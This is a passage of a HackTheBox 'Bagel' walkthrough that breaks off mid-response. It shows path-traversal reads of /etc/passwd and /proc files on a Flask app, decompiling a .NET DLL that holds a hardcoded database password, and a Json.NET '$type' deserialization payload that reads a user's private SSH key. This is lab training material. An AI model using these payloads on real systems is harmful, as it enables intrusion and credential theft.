HTB: Bagel
Bagel is centered around two web apps. The first is a Flask server. I’ll exploit a file read vulnerability to locate and retrieve the source. In that source, I see how it connects to the other .NET server over web sockets. I’ll abuse the first file read to get the DLL for that server. On reversing that DLL, I’ll find a JSON derserialization issue, and exploit it to get file read and the user’s SSH key. I’ll pivot to the next user using creds from the DLL. To get root, I’ll exploit a sudo rule that let’s the user run dotnet as root.
Box Info
Name | Bagel Play on HackTheBox |
---|---|
Release Date | 18 Feb 2023 |
Retire Date | 03 Jun 2023 |
OS | Linux |
Base Points | Medium [30] |
Rated Difficulty | |
Radar Graph | |
01:32:22 |
|
01:35:39 |
|
Creator |
Recon
nmap
nmap
finds three open TCP ports, SSH (22) and two HTTP (5000 and 8000):
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.201
Starting Nmap 7.80 ( https://nmap.org ) at 2023-05-30 15:21 EDT
Nmap scan report for 10.10.11.201
Host is up (0.088s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
8000/tcp open http-alt
Nmap done: 1 IP address (1 host up) scanned in 6.97 second
oxdf@hacky$ nmap -p 22,5000,8000 -sCV 10.10.11.201
Starting Nmap 7.80 ( https://nmap.org ) at 2023-05-30 15:27 EDT
Nmap scan report for 10.10.11.201
Host is up (0.087s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.8 (protocol 2.0)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 400 Bad Request
| Server: Microsoft-NetCore/2.0
| Date: Tue, 30 May 2023 19:27:57 GMT
| Connection: close
| HTTPOptions:
| HTTP/1.1 400 Bad Request
| Server: Microsoft-NetCore/2.0
| Date: Tue, 30 May 2023 19:28:12 GMT
...[snip]...
8000/tcp open http-alt Werkzeug/2.2.2 Python/3.10.9
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/2.2.2 Python/3.10.9
| Date: Tue, 30 May 2023 19:27:57 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| Connection: close
| <!doctype html>
...[snip]...
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 104.13 seconds
The OpenSSH version doesn’t line up with anything familiar. The HTTP server on 5000 says it’s DotNet (Microsoft-NetCore/2.0
), while the one on 8000 says it’s Python.
HTTP - TCP 5000
Visiting this webserver in a browser returns an empty page. Looking a bit more closely in Burp, it’s a 400 Bad Request with an empty body:
HTTP/1.1 400 Bad Request
Server: Microsoft-NetCore/2.0
Date: Tue, 30 May 2023 19:48:23 GMT
Connection: close
Content-Length: 0
I’ll brute force the server with feroxbuster
, but it doesn’t find anything either.
I’ve already noted this server is running DotNet, which is interesting for a Linux machine. Not much else here for now.
bagel.htb - TCP 8000
Visiting by IP address returns a redirect to http://bagel.htb:8000/?page=index.html
. I’ll add bagel.htb
to my /etc/hosts
file and reload. It’s a company selling bagels:
There’s one link on the page, which goes to /orders
. This returns text showing orders (best viewed in “view-source” or with curl
):
oxdf@hacky$ curl bagel.htb:8000/orders
order #1 address: NY. 99 Wall St., client name: P.Morgan, details: [20 chocko-bagels]
order #2 address: Berlin. 339 Landsberger.A., client name: J.Smith, details: [50 bagels]
order #3 address: Warsaw. 437 Radomska., client name: A.Kowalska, details: [93 bel-bagels]
Tech Stack
The URL pattern for the main page is odd for Python: http://bagel.htb:8000/?page=index.html
. That pattern is typically seen in PHP applications, as it has an include
keyword..
The HTTP response headers show it is Python:
HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.10.9
Date: Tue, 30 May 2023 19:57:04 GMT
Content-Disposition: inline; filename=index.html
Content-Type: text/html; charset=utf-8
Content-Length: 8698
Last-Modified: Thu, 26 Jan 2023 17:40:39 GMT
Cache-Control: no-cache
ETag: "1674754839.6421967-8698-149884447"
Date: Tue, 30 May 2023 19:57:04 GMT
Connection: close
Werkzeug is typically seen with Flask, but could be other frameworks as well. The 404 page matches the default Flask 404 as well:
Directory Brute Force
I’ll run feroxbuster
against the site, but it finds nothing new:
oxdf@hacky$ feroxbuster -u http://10.10.11.201:8000
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.9.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.201:8000
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.9.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 5l 31w 207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302 GET 5l 22w 263c http://10.10.11.201:8000/ => http://bagel.htb:8000/?page=index.html
200 GET 3l 37w 267c http://10.10.11.201:8000/orders
[####################] - 1m 30000/30000 0s found:2 errors:0
[####################] - 1m 30000/30000 275/s http://10.10.11.201:8000/
Subdomain Brute Force
Given the use of subdomains, I’ll try to brute-force on both webservers to see if either has any subdomains that respond differently from the default response:
oxdf@hacky$ ffuf -u http://10.10.11.201:8000 -H "Host: FUZZ.bagel.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -mc all -ac
...[snip]...
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.201:8000
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.bagel.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
________________________________________________
:: Progress: [4989/4989] :: Job [1/1] :: 223 req/sec :: Duration: [0:00:23] :: Errors: 0 ::
oxdf@hacky$ ffuf -u http://10.10.11.201:5000 -H "Host: FUZZ.bagel.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -mc all -ac
...[snip]...
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.201:5000
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.bagel.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
________________________________________________
:: Progress: [4989/4989] :: Job [1/1] :: 224 req/sec :: Duration: [0:00:23] :: Errors: 0 ::
Neither find anything.
Shell as phil
Get Flask Source
Identify
I noted above the URL structure that seems to be loading a static HTML page on the main site: http://bagel.htb:8000/?page=index.html
. My guess is that the server has a main page that handles things typically like a menu bar, and then loads the child page into the body.
I’ll try a basic file read / directory traversal attack to see if I can read other files on the filesystem:
oxdf@hacky$ curl http://bagel.htb:8000/?page=../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
...[snip]...
That’s a successful file read / directory traversal (though not an LFI, please don’t call it that).
Process Information
I’ll use this vulnerability to get information about the running process. Each process has a folder in /proc/[pid]
, and /proc/self
is a special folder that points to the current pid.
Inside each folder, there’s a bunch of files and symlinks. cmdline
shows the running command line of the process:
oxdf@hacky$ curl http://bagel.htb:8000/?page=../../../../proc/self/cmdline
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
oxdf@hacky$ curl -o- http://bagel.htb:8000/?page=../../../../proc/self/cmdline
python3/home/developer/app/app.py
This file uses null bytes to terminate the command string and the argument string, which makes the output “binary” and curl
complains. Adding -o-
is typically good enough to say “print the result to the terminal anyway”. There is an invisible null byte between python3
and /home
. If I want to be detailed, I can use tr
to replace the nulls with spaces:
oxdf@hacky$ curl -o- -s http://bagel.htb:8000/?page=../../../../proc/self/cmdline | tr '\000' ' '
python3 /home/developer/app/app.py
I can also get the environment variables from environ
(this time replacing null with newline):
oxdf@hacky$ curl -s http://bagel.htb:8000/?page=../../../../proc/self/environ -o- | tr '\000' '\n'
LANG=en_US.UTF-8
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
HOME=/home/developer
LOGNAME=developer
USER=developer
SHELL=/bin/bash
INVOCATION_ID=3f19c33fc85b4cc0aa821a93d7deb345
JOURNAL_STREAM=8:25240
SYSTEMD_EXEC_PID=892
The process is running as developer (which makes sense as it’s running out of developer’s home directory).
I can also use the command line to get the path to the source:
oxdf@hacky$ curl -o- -s http://bagel.htb:8000/?page=../../../../home/developer/app/app.py
from flask import Flask, request, send_file, redirect, Response
import os.path
...[snip]...
Source Code Analysis
app.py
is a simple single-file Flask application. It starts by importing libraries and initializing the Flask application:
from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json
app = Flask(__name__)
websocket
is an interesting import.
There are two routes defined. index
is the main page:
@app.route('/')
def index():
if 'page' in request.args:
page = 'static/'+request.args.get('page')
if os.path.isfile(page):
resp=send_file(page)
resp.direct_passthrough = False
if os.path.getsize(page) == 0:
resp.headers["Content-Length"]=str(len(resp.get_data()))
return resp
else:
return "File not found"
else:
return redirect('http://bagel.htb:8000/?page=index.html', code=302)
This is what takes the page
parameter and reads the file, returning it.
order
handles /order
. The comment here talks about starting the DotNet application first. It also references the user of SSH keys.
@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
try:
ws = websocket.WebSocket()
ws.connect("ws://127.0.0.1:5000/") # connect to order app
order = {"ReadOrder":"orders.txt"}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
return(json.loads(result)['ReadOrder'])
except:
return("Unable to connect")
It makes a websocket connection to port 5000 (the DotNet application that I couldn’t get much out of earlier). It sends {"ReadOrder":"orders.txt"}
, and then returns the ReadOrder
key from the result.
Enumerating Websocket
Interacting with Websocket
To quickly poke at the web socket, I’ll use wscat. It installs with npm install -g wscat
, and I’ll use -c
to connect to the URL observed in the Flask the source:
oxdf@hacky$ wscat -c ws://bagel.htb:5000
Connected (press CTRL+C to quit)
>
At the >
, I’ll send what the Flask app sends:
> {"ReadOrder":"orders.txt"}
< {
"UserId": 0,
"Session": "Unauthorized",
"Time": "2:02:30",
"RemoveOrder": null,
"WriteOrder": null,
"ReadOrder": "order #1 address: NY. 99 Wall St., client name: P.Morgan, details: [20 chocko-bagels]\norder #2 address: Berlin. 339 Landsberger.A., client name: J.Smith, details: [50 bagels]\norder #3 address: Warsaw. 437 Radomska., client name: A.Kowalska, details: [93 bel-bagels] \n"
}
The response (marked with <
) is JSON data, with the data in ReadOrder
(which is what the Flask app pulls and returns). There’s also a WriteOrder
and RemoveOrder
which are null.
WriteOrder
I can try these. If I send {"WriteOrder":"orders.txt"}
, it reports success:
> {"WriteOrder":"orders.txt"}
< {
"UserId": 0,
"Session": "Unauthorized",
"Time": "2:12:16",
"RemoveOrder": null,
"WriteOrder": "Operation successed",
"ReadOrder": null
}
If I read again, it seems to have actually taken the data in WriteOrder
and written that to orders.txt
:
> {"ReadOrder":"orders.txt"}
< {
"UserId": 0,
"Session": "Unauthorized",
"Time": "2:11:31",
"RemoveOrder": null,
"WriteOrder": null,
"ReadOrder": "orders.txt"
}
Another write confirms that:
> {"WriteOrder":"0xdf was here"}
< {
"UserId": 0,
"Session": "Unauthorized",
"Time": "2:13:22",
"RemoveOrder": null,
"WriteOrder": "Operation successed",
"ReadOrder": null
}
> {"ReadOrder":"orders.txt"}
< {
"UserId": 0,
"Session": "Unauthorized",
"Time": "2:13:27",
"RemoveOrder": null,
"WriteOrder": null,
"ReadOrder": "0xdf was here"
}
RemoveOrder
Sending a file name for RemoveOrder
doesn’t seem to change anything:
> {"RemoveOrder":"orders.txt"}
< {
"UserId": 0,
"Session": "Unauthorized",
"Time": "2:14:07",
"RemoveOrder": "orders.txt",
"WriteOrder": null,
"ReadOrder": null
}
> {"ReadOrder":"orders.txt"}
< {
"UserId": 0,
"Session": "Unauthorized",
"Time": "2:14:16",
"RemoveOrder": null,
"WriteOrder": null,
"ReadOrder": "0xdf was here"
}
Failed Directory Traversal
I went down a bit of a rabbit hole fuzzing for some kind of directory traversal / file read using the websocket and looking at other ways to exploit it.
I’ll try to read /etc/passwd
as this application:
> {"ReadOrder":"../../../../../../../../../etc/passwd"}
< {
"UserId": 0,
"Session": "Unauthorized",
"Time": "1:54:46",
"RemoveOrder": null,
"WriteOrder": null,
"ReadOrder": "Order not found!"
}
It just returns “Order not found!” After playing around for a bit, I’ll try to read ../orders.txt
:
> {"ReadOrder":"../orders.txt"}
< {
"UserId": 0,
"Session": "Unauthorized",
"Time": "2:15:51",
"RemoveOrder": null,
"WriteOrder": null,
"ReadOrder": "0xdf was here"
}
It returns orders.txt
. That implies that the ../
got removed. This seems to confirm:
It’s not uncommon in PHP that sending something like ....//
gets filtered down to ../
when the inner ../
is removed. That doesn’t work here:
> {"ReadOrder":"....//orders.txt"}
< {
"UserId": 0,
"Session": "Unauthorized",
"Time": "2:17:45",
"RemoveOrder": null,
"WriteOrder": null,
"ReadOrder": "0xdf was here"
}
I would expect a not found if the ../
got through. It seems that all ..
and /
are removed. That is confirmed by this:
> {"ReadOrder":"o..rd/er..s//.txt"}
< {
"UserId": 0,
"Session": "Unauthorized",
"Time": "7:12:15",
"RemoveOrder": null,
"WriteOrder": null,
"ReadOrder": "0xdf was here"
}
When the ..
and /
are removed, it leaves orders.txt
.
Get bagel.dll
Strategy
I’d like to find what is running the service on 5000 just like I did for 8000. The comment in the source said to run it with dotnet <dll>
. I’ll use ffuf
to scan over a range of pids, and -mr dotnet
to match results that have “dotnet” in them. With the command line to the process running dotnet
, I’ll either get the full path to the dll, or I’ll get a relative path, which is still good enough (as I can then use the cwd
symlink in /proc/[pid]
to get into that directory and get the file).
Fuzz
ffuf
doesn’t have a range
generation like wfuzz
, but I can use <( seq 1 10000)
to make a temp file with the numbers 1 to 10000 in it one per line.
oxdf@hacky$ ffuf -u http://bagel.htb:8000/?page=../../../../proc/FUZZ/cmdline -w <(seq 1 10000) -mr 'dotnet'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://bagel.htb:8000/?page=../../../../proc/FUZZ/cmdline
:: Wordlist : FUZZ: /dev/fd/63
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Regexp: dotnet
________________________________________________
890 [Status: 200, Size: 45, Words: 1, Lines: 1, Duration: 86ms]
924 [Status: 200, Size: 45, Words: 1, Lines: 1, Duration: 92ms]
926 [Status: 200, Size: 45, Words: 1, Lines: 1, Duration: 92ms]
925 [Status: 200, Size: 45, Words: 1, Lines: 1, Duration: 103ms]
927 [Status: 200, Size: 45, Words: 1, Lines: 1, Duration: 101ms]
928 [Status: 200, Size: 45, Words: 1, Lines: 1, Duration: 99ms]
929 [Status: 200, Size: 45, Words: 1, Lines: 1, Duration: 96ms]
930 [Status: 200, Size: 45, Words: 1, Lines: 1, Duration: 102ms]
1035 [Status: 200, Size: 45, Words: 1, Lines: 1, Duration: 92ms]
1043 [Status: 200, Size: 45, Words: 1, Lines: 1, Duration: 88ms]
1045 [Status: 200, Size: 45, Words: 1, Lines: 1, Duration: 90ms]
:: Progress: [10000/10000] :: Job [1/1] :: 229 req/sec :: Duration: [0:00:44] :: Errors: 0 ::
There’s a bunch of hits, but all the same size (and all the same on some inspection).
Get File
The various cmdlines
are all the same:
oxdf@hacky$ curl -o- http://bagel.htb:8000/?page=../../../../proc/924/cmdline
dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
I’m able to get the DLL file:
oxdf@hacky$oxdf@hacky$ curl -o bagel.dll http://bagel.htb:8000/?page=../../../../opt/bagel/bin/Debug/net6.0/bagel.dll
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 10752 100 10752 0 0 61497 0 --:--:-- --:--:-- --:--:-- 61793
oxdf@hacky$ file bagel.dll
bagel.dll: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Reverse bagel.dll
Strategy
Because the executable is a .Net assembly, that means it will decompile back to something resembling source fairly easily. There are tools to do this on Linux (such as ilspy) and many on Windows. My favorite is DNSpy, which runs on Windows, and I’ll show that here. The others are just as good - I’d recommend people use the one they are most comfortable with.
Overview
The program has the namespace bagel_server
, with six classes in it. The main program is based out of the Bagel
class, which starts in Main
, but really is handled by MessgeReceived
.
The other important classes for understanding how the program works and how to exploit it are Handler
, Orders
, and File
. I’ll also look at the DB
class to get some information for later.
Bagel
Main
, InitializeServer
, and StartServer
are all involved in getting the server up and running. MessageReveived
runs each time there’s a message on the websocket:
private static void MessageReceived(object sender, MessageReceivedEventArgs args)
{
string json = "";
bool flag = args.Data != null && args.Data.Count > 0;
if (flag)
{
json = Encoding.UTF8.GetString(args.Data.Array, 0, args.Data.Count);
}
Handler handler = new Handler();
object obj = handler.Deserialize(json);
object obj2 = handler.Serialize(obj);
Bagel._Server.SendAsync(args.IpPort, obj2.ToString(), default(CancellationToken));
}
A Handler
object is created, and used to Deserialize
the received JSON. Then the result is passed back to Seialize
and the resulting string is sent back.
The entire structure of this program is designed such that each object has a getter and a setter function. When the object is created, the setter is called. When it is serialized into JSON, the getter is called.
While reading this code, it’s important to remember that JSON is deserialized into an object by calling the setter. An object is serialized into JSON by calling the getter.
Handler
The Handler
class is easy to overlook, but it is where the vulnerability is configured. A Handler
object has two methods, Serialize
and Deserialize
:
using System;
using System.Runtime.CompilerServices;
using Newtonsoft.Json;
namespace bagel_server
{
// Token: 0x02000005 RID: 5
[NullableContext(1)]
[Nullable(0)]
public class Handler
{
// Token: 0x06000005 RID: 5 RVA: 0x00002094 File Offset: 0x00000294
public object Serialize(object obj)
{
return JsonConvert.SerializeObject(obj, 1, new JsonSerializerSettings
{
TypeNameHandling = 4
});
}
// Token: 0x06000006 RID: 6 RVA: 0x000020BC File Offset: 0x000002BC
public object Deserialize(string json)
{
object result;
try
{
result = JsonConvert.DeserializeObject<Base>(json, new JsonSerializerSettings
{
TypeNameHandling = 4
});
}
catch
{
result = "{\"Message\":\"unknown\"}";
}
return result;
}
}
}
It’s using JsonConvert
(docs), part of the Newtonsoft.Json
package.
SerializeObject
takes an object and returns a JSON serialized object (a string). DeserializeObject
does that opposite, going from JSON string to a Base
object in in memory. It’s important to note that it must be a Base
object (as specified by the <Base>
syntax).
The fact that both are setting the TypeNameHandling
to 4 is important. The docs hint at the risk here:
The value is set to 4 = Auto here.
Orders
An Orders
object has three public properties, ReadOrder
, RemoveOrder
, and WriteOrder
, as well as three private members, file
, order_filename
, and order_info
.
In C# (and other programming languages), a property is a member of the class with a function defined for when something tries to read it (the getter) and another defined for when something tries to write it (the setter). The ReadOrder
property is defined as:
public string ReadOrder
{
get
{
return this.file.ReadFile;
}
set
{
this.order_filename = value;
this.order_filename = this.order_filename.Replace("/", "");
this.order_filename = this.order_filename.Replace("..", "");
this.file.ReadFile = this.order_filename;
}
}
When ReadOrder
is set, it sets this.file.ReadFile
to the input value, after removing /
and ..
(which explains why I couldn’t traverse above). When the object is read from it calls the get
, which is a file.ReadFile
property (so the getter from this object property).
WriteOrder
is very similar:
public string WriteOrder
{
get
{
return this.file.WriteFile;
}
set
{
this.order_info = value;
this.file.WriteFile = this.order_info;
}
}
It will call the setter on WriteFile
with the input value, and then the result will be the getter on that same object.
RemoveOrder
doesn’t define the getter and setter, which means that by default it just saves the value passed in, and returns it when read:
public object RemoveOrder { get; set; }
Base
The Base
class derives from the Orders
class:
using System;
using System.Runtime.CompilerServices;
namespace bagel_server
{
// Token: 0x02000007 RID: 7
[NullableContext(1)]
[Nullable(0)]
public class Base : Orders
{
...[snip]...
This means it has all the properties / members of Order
, plus three properties (UserId
, Session
, and Time
) and two private members (userid
and session
). It sets userid
to 0 and session
to “Unauthorized”, and the setters are never called.
File
The File
class defines ReadFile
and WriteFile
. ReadFile
has getter and setter functions:
public string ReadFile
{
get
{
return this.file_content;
}
set
{
this.filename = value;
this.ReadContent(this.directory + this.filename);
}
}
So when above this.file.ReadFile
is set equal to something, this.filename
becomes that something, and then ReadContent
is called with this.directory + this.filename
. These two are initialized to:
private string directory = "/opt/bagel/orders/";
private string filename = "orders.txt";
ReadContent
sets this.file_content
to the values read from the file, or to “Order not found!”:
public void ReadContent(string path)
{
try
{
IEnumerable<string> values = File.ReadLines(path, Encoding.UTF8);
this.file_content += string.Join("\n", values);
}
catch (Exception ex)
{
this.file_content = "Order not found!";
}
}
Then when the getter on ReadFile
is called, it returns this.file_content
.
WriteFile
is similar:
public string WriteFile
{
get
{
return this.IsSuccess;
}
set
{
this.WriteContent(this.directory + this.filename, value);
}
}
On calling the setter, it calls WriteContent
on the current file, which writes the file, and sets this.IsSuccess
:
public void WriteContent(string filename, string line)
{
try
{
File.WriteAllText(filename, line);
this.IsSuccess = "Operation successed";
}
catch (Exception ex)
{
this.IsSuccess = "Operation failed";
}
}
The getter returns this.IsSuccess
.
DB
The DB class isn’t in use. It seems to be in-development for later use. Still, it has a connection string in it:
using System;
using Microsoft.Data.SqlClient;
namespace bagel_server
{
// Token: 0x0200000A RID: 10
public class DB
{
// Token: 0x06000022 RID: 34 RVA: 0x00002518 File Offset: 0x00000718
[Obsolete("The production team has to decide where the database server will be hosted. This method is not fully implemented.")]
public void DB_connection()
{
string text = "Data Source=ip;Initial Catalog=Orders;User ID=dev;Password=k8wdAYYKyhnjg3K";
SqlConnection sqlConnection = new SqlConnection(text);
}
}
}
I’ll note that password for later.
Follow a Message
This diagram attempts to summaries how the base case of the message {"ReadOrder": "orders.txt"}
is processed by the server:
Get Private SSH Key
Strategy
The issue comes down to where the JsonSerializerSettings
sets the TypeNameHandling
to 4, which is Auto. When serializing to JSON, .NET can include the .NET type name in the object / array or not. Auto allows for leaving it out, or including it if the object type doesn’t match what is declared in the code.
This article is a summary of this very detailed blackhat paper, and gives examples of vulnerable code, and how to abuse it.
This looks very much like what comes back from the Handler.Deserialize
call.
To abuse this, I need a object that has either an empty constructor or only one constructor with parameters. All of the object constructors are empty in this application, so that fits.
The top level object will be Base
object. My attack is going to be
I’ll use the RemoveOrder
object since it’s getter doesn’t do anything, which is good so it won’t interfere with my attack. I’ll pass an object that in the process of deserializing the RemoveOrder
object, also deserializes a ReadFile
object. This object can read arbitrary files. The challenge is that to create one through the legit path requires going through the ReadOrder
object, which filters out ..
and /
. If I can create one directly, I can read arbitrary files.
Build Payload
The Json.NET docs give some examples of what it looks like with the different TypeNameHandling
settings. When the type of the object is included, the JSON might look like:
{
"$type": "Namespace.ClassName, AssemblyName",
"Property1": "value1",
"Property2": "value2"
}
This tells Dotnet to handle this as a different type of object when it deserializes it from JSON into an object. I’m going to submit an object as RemoveOrder
, as that blindly sets whatever I send as the value, and thus I can get it to create (and call the setter for) another object. I’ll have a File
object created, with the ReadFile
set to the contents of /etc/passwd
. That will look something like:
{
"RemoveOrder": {
"$type": "bagel_server.File, bagel"
"ReadFile": "../../../../etc/passwd"
}
}
The Namespace is what I noted above, and the ClassName is the class with the object. The AssemblyName I’ll get from PowerShell:
PS > [System.Reflection.AssemblyName]::GetAssemblyName('Z:\bagel.dll')
Version Name
------- ----
1.0.0.0 bagel
This diagram shows how this payload is processed by the server:
POC
To test this, I’ll get rid of the white space to get it on one line, and send:
> {"RemoveOrder": {"$type": "bagel_server.File, bagel", "ReadFile": "../../../../etc/passwd"}}
< {
"UserId": 0,
"Session": "Unauthorized",
"Time": "4:21:03",
"RemoveOrder": {
"$type": "bagel_server.File, bagel",
"ReadFile": "root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/spool/mail:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\ngames:x:12:100:games:/usr/games:/sbin/nologin\nftp:x:14:50:FTP User:/var/ftp:/sbin/nologin\nnobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin\ndbus:x:81:81:System message bus:/:/sbin/nologin\ntss:x:59:59:Account used for TPM access:/dev/null:/sbin/nologin\nsystemd-network:x:192:192:systemd Network Management:/:/usr/sbin/nologin\nsystemd-oom:x:999:999:systemd Userspace OOM Killer:/:/usr/sbin/nologin\nsystemd-resolve:x:193:193:systemd Resolver:/:/usr/sbin/nologin\npolkitd:x:998:997:User for polkitd:/:/sbin/nologin\nrpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin\nabrt:x:173:173::/etc/abrt:/sbin/nologin\nsetroubleshoot:x:997:995:SELinux troubleshoot server:/var/lib/setroubleshoot:/sbin/nologin\ncockpit-ws:x:996:994:User for cockpit web service:/nonexisting:/sbin/nologin\ncockpit-wsinstance:x:995:993:User for cockpit-ws instances:/nonexisting:/sbin/nologin\nrpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin\nsshd:x:74:74:Privilege-separated SSH:/usr/share/empty.sshd:/sbin/nologin\nchrony:x:994:992::/var/lib/chrony:/sbin/nologin\ndnsmasq:x:993:991:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin\ntcpdump:x:72:72::/:/sbin/nologin\nsystemd-coredump:x:989:989:systemd Core Dumper:/:/usr/sbin/nologin\nsystemd-timesync:x:988:988:systemd Time Synchronization:/:/usr/sbin/nologin\ndeveloper:x:1000:1000::/home/developer:/bin/bash\nphil:x:1001:1001::/home/phil:/bin/bash\n_laurel:x:987:987::/var/log/laurel:/bin/false",
"WriteFile": null
},
"WriteOrder": null,
"ReadOrder": null
}
It works! It create a RemoveOrder
object with a ReadFile
in it that has /etc/passwd
!
Read SSH Key
Just like with the previous file read, I can get the command line and environment here:
> {"RemoveOrder": {"$type": "bagel_server.File, bagel", "ReadFile": "../../../../proc/self/cmdline"}}
< {
"UserId": 0,
"Session": "Unauthorized",
"Time": "4:23:21",
"RemoveOrder": {
"$type": "bagel_server.File, bagel",
"ReadFile": "dotnet\u0000/opt/bagel/bin/Debug/net6.0/bagel.dll\u0000",
"WriteFile": null
},
"WriteOrder": null,
"ReadOrder": null
}
> {"RemoveOrder": {"$type": "bagel_server.File, bagel", "ReadFile": "../../../../proc/self/environ"}}
< {
"UserId": 0,
"Session": "Unauthorized",
"Time": "4:23:08",
"RemoveOrder": {
"$type": "bagel_server.File, bagel",
"ReadFile": "LANG=en_US.UTF-8\u0000PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin\u0000HOME=/home/phil\u0000LOGNAME=phil\u0000USER=phil\u0000SHELL=/bin/bash\u0000INVOCATION_ID=f22816b43f6e4edbac23633fd856c9d7\u0000JOURNAL_STREAM=8:25239\u0000SYSTEMD_EXEC_PID=890\u0000",
"WriteFile": null
},
"WriteOrder": null,
"ReadOrder": null
}
The process is running out of /home/phil
.
Reading /home/phil/.ssh/id_rsa
returns a private SSH key:
> {"RemoveOrder": {"$type": "bagel_server.File, bagel", "ReadFile": "../../../../home/phil/.ssh/id_rsa"}}
< {
"UserId": 0,
"Session": "Unauthorized",
"Time": "4:24:32",
"RemoveOrder": {
"$type": "bagel_server.File, bagel",
